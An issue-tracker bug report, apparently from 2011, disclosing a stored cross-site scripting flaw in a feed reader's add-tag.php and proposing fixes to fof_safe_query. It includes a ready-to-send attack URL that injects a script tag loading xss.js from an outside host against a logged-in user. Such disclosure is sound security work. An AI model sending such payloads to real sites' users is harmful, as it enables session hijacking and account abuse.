What steps will reproduce the problem?
1. If a user is logged in, an attacker can send him a link to add-tag.php with
javascript in the tag GET field.
2. When the user goes back to the main page, if he has any items, the XSS
script will be executed.
3. The script is stored in the Database, so it will continue affecting the user
until the tag is deleted from the item or the database all together.
What is the expected output? What do you see instead?
add-tag.php should sanitize untrusted input. Instead, it accepts it and puts in
into the database, even getting around fof_safe_query
Please use labels and text to provide additional information.
This could be solved in each file like add-tag.php, or in the fof-db.php file
to prevent this bug from being exploited anywhere else. There are several other
places where this is possible, but this is the most dangerous one that I found.
All would be fixed with changes to fof_safe_query. I have attached changes
below to address the problem. This could also be fixed with a prepared sql
statement, but I have just used htmlentities to keep it compatible with older
versions of PHP. This should also prevent and SQL Injection attack.
This is the url that an attacker could send to a logged-in user:
URL Encoded:
http://VictimWebApp.com/add-tag.php?tag=%3CSCRIPT/SRC=http://ha.ckers.org/xss.js
%3E%3C/SCRIPT%3E&item=4
The attacker does not necessarily need to correctly choose an item number, as
long as the item number exists and the user is subscribed to it's feed. If an
attacker can find a feed that all or most users would be subscribed to (like
maybe the host site's feed) then this is an easy attack.
Original issue reported on code.google.com by
dmazz...@gmail.comon 18 May 2011 at 9:14Attachments: